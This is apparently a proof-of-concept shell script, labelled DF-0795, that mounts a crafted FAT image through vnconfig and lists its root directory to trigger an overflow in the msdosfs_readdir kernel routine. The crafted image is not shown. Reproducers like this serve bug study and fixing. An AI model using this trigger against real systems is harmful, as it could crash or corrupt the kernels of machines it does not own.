DF-0795 / run.sh
#!/bin/sh # DF-0795 trigger run script (must run as root: needs mount/vnconfig). # Uses a pre-patched image at /tmp/df0795.img (pushed from host). set -e IMG=/tmp/df0795.img MNT=/tmp/df0795_mnt mkdir -p "$MNT" echo "[*] vnconfig + mount" vnconfig -c vn0 "$IMG" mount -t msdos /dev/vn0 "$MNT" echo "[*] mount OK; now ls the root (triggers msdosfs_readdir -> overflow)" echo "---- ls -la ----" ls -la "$MNT" 2>&1 || true echo "---- ls ----" ls "$MNT" 2>&1 || true echo "---- stat ----" stat "$MNT"/* 2>&1 || true echo "[*] ls done; unmounting" umount "$MNT" || true vnconfig -u vn0 || true echo "[*] DONE (no panic = overflow was silent/contained, as predicted)" |